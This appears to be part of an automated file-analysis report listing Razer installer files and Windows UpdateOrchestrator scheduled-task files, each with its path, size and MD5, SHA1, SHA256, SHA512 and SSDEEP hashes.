- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\ru-RU\Razer.RazerInstallerCommon.resources.dll
- Size 27KB
- SHA256 eeb0cbbcb53e6294012bf9412b7113c3e6b45069794475667bb2649b19374c41
- MD5 0f3e357b568e7f6c4bbd737ca4e76a62
- SHA1 3c79cec29446c953b138084185f62a64c6b90bca
- SHA512 0ca364740216ca79d6346711a953f8a41c9daaf6eb3c3c0536d4d69b85b11706be69c5db587bd618a33ff19711ff2124749769c3e7d898d03f4bf0ad4a81107b
- SSDEEP 384:irpE1FZCwbhF5EYBCMr2GTbd1PqINyb8E9VF6IYinAM+oaupoou2G99:iVEXZbbh8FGTbddqgEpYinAMxJE/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\rzS3detgmr_CWrapper.dll
- Size 91KB
- SHA256 35fc7274acd8342c33213f4d1058f927a3d1a69ce40599decc0898fffa2f9fcc
- MD5 a52218ecfa9a217836a89c57c338e6a2
- SHA1 72aab32e94f5a85e39863b446c29b878a81273d5
- SHA512 ef4182091db8942f2ecbcb9ee40e7d5046da840ad2083995309f7c918af723a701881378a2f1af1ce1893298d5584d2e7cd0960c1e3eab3cd6dba16b336da2e8
- SSDEEP 1536:BlMbTqTcOhlyNk+E853H/gaar1OZrMOPSVsWpdbycdlzraWQDzw0V27HxB:Beb+zhlyNkG3HYoPUdbzlCWQDzw0V2v
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\rzS3detmgr.dll
- Size 489KB
- SHA256 c4f906944db89f70149103a3fdd749c79ae5d6b355be4b5ab60c967033bdd6ff
- MD5 6721b55ecbfdaeddeae0c09325349f1e
- SHA1 835b9619ef9c3c211b80a4dc5857d350e9cda132
- SHA512 ae0529cf915193d5be2a2b35cf723808b23b1ad4e0b71d3e2cda657f895250582bdc536ae400ec1bdcdd12498dc323db1dd4f893a31238e82e9e630c0d69252f
- SSDEEP 6144:ZDEmdiQvcr+LbEP+oJhQsJ31P/nU53owFS9n7DVu0kAb/veQl9YwRU72dTZwY7X1:Zdci0luYF3c81Dkgf9dRUel7X1
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\systems.json
- Size 495B
- SHA256 2f2541706f13fd6d3eaad2628f7b4fa35f0648822edacb8b92d04cea42fc5537
- MD5 775c312110d971862864b91a2379794a
- SHA1 b5a7a80ebd352fd45493f3968ebb2c7735fecb11
- SHA512 3c3428222feef08d3be3896ccfa72a1ae6ee0cb06e9c11f005439041e3f8ab9263a07f04a6c054e0d82edabd48aef9a68ecc45e3fad8803dde365e668f9b58ff
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\Razer\Installer\App\ucrtbase.dll
- Size 899KB
- SHA256 dd32570b8183a8b117233333153da29cc8d2ac5b1c868440dd852d9c3f77baf5
- MD5 015b30309491a911e75748ad69c9e680
- SHA1 2f2243b6ea99689cd54e45b67d9b7d98847f904c
- SHA512 51159e407021ce78ad64ea91a5e53f59ee15d6d74b9c2891cd6dd532cae3f1d388198e0cd78648ce067e82fa7f01050b4773d95c5c827439f094b289f0ee0ac8
- SSDEEP 24576:0oqW/e7NMe7KtlQzn4pz+xJlEIn3FmcvIZPoy4zUkG:d/ehF54pg2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\vccorlib140.dll
- Size 264KB
- SHA256 92cd13772dd046e9e8a36343c96e6c145ce9072dc51de05aeae4a770cf4b1c33
- MD5 af530e084fc969b552db842d3de5f285
- SHA1 7d0bccad63d6b0f5f4b144ade34afb7fb342d22a
- SHA512 c89cb972067f7971c8ead078a89ebed0d4625a46370c11ddffbdd3f0e56619b55403d19cbf89ad001dbb9c302501bd3ea0331dbbb2a587b6ef79a5f709562792
- SSDEEP 3072:YCcjou9AliSNuPRrSk+2sIslORcBwzCt4TrHcSUEn8wnrREQ0:Yxou9qivRrSkGdqcECE7R0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\vcruntime140.dll
- Size 83KB
- SHA256 5695560a50ed9746696c0d647e55d77459f5981907c177d086df36656a978b19
- MD5 b7ebc19a5b23d0d32ff014e30be26061
- SHA1 efb3b58b31a27407402a2be0d41aee120519c282
- SHA512 922d94e80cdffeb51a1818c52b5c568597307225eed33c7c07e193322c2e9b0c7a5f17f3f4b57f2e22b8ad7f9509cb893bfc6d07d19af83360da6c0d807aa93a
- SSDEEP 1536:4jer1DQwLp57xeH8zIJBj3hGzHcL3CTsQ+Vbc8su0sRXdjjecb+4AXmUkEBd:4jeNQwFFxExBozHcL3CTsQ+Vbc/uecbU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\zh-CHS\Razer.RazerInstallerCommon.resources.dll
- Size 24KB
- SHA256 ce8e243207f1b784d3b2d369d5c87f4123b5eb2614552cfb53e60ebd6137d846
- MD5 8c0f3a4d39e605d4fc6a5c07bc1528c7
- SHA1 2364595cc629e1c073a0ded4c4b840124973bdcb
- SHA512 7ce66409ccd5076d8fd2eeb3c0d94cc12ecab4d52e73a039a7e28495d2b2c2df7d9372b54838a8774ed1d6c42173262386973fab0c0b1ebede70a0c476564a45
- SSDEEP 384:QpEKVGfgqL83uLo0uxMKu2Nyb8E9VF6IYinAM+oaupoou2jEWW:8EKVGf3Q3wKueEpYinAMxJpM
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\zh-CHT\Razer.RazerInstallerCommon.resources.dll
- Size 24KB
- SHA256 bc8a635eeee2c0d2a7a89294e1b86bc21fcc817bbdb6e0a3545166f08126422a
- MD5 9b84a3572abcf0f717f1e457a9f941b7
- SHA1 3dc58308e6a0747882c310cf935e271d72c59999
- SHA512 d6dfd8bbc8bef097e86e6c00476be7c5076633364b28db2b97ce588153283a8f8aa3a3cc592a6e89209f63d6dd8443217d7c1c32dde32e0108ecf9dad4026b50
- SSDEEP 384:opEGOp//b2u/FfdgnQudqnWGXNyb8E9VF6IYinAM+oaupoou2P9:kEGOp/SQu2WGbEpYinAMxJH
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\RazerInstaller.exe
- Size 7.4MB
- SHA256 514826f28c1bd194f65b742cbe3bbe52c0f163bb1a55da80a25639d4e4b6d2ab
- MD5 87e4fc95fbe145e7574cca7c64b0ce0a
- SHA1 c25cb07176c3b3f7088dbbfb4b5439a296295b88
- SHA512 0c3f7435385eb9cdb9493bb3981df187ef2878d0e6ed9dde9005a88772f88d121de802805ef4c9623686ecfb8a03ceed45ae05b529fb287ce90097869fc2babe
- SSDEEP 196608:oFQPw26iZrVG5Jf8Bp/v3TDRtvJ+RW+dzBvyV:yQPwDEkf8Bp/vD9C+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
- MD5 8abf2d6067c6f3191a015f84aa9b6efe
- SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
- SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
- MD5 f313c5b4f95605026428425586317353
- SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
- SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- MD5 SHA1 SHA512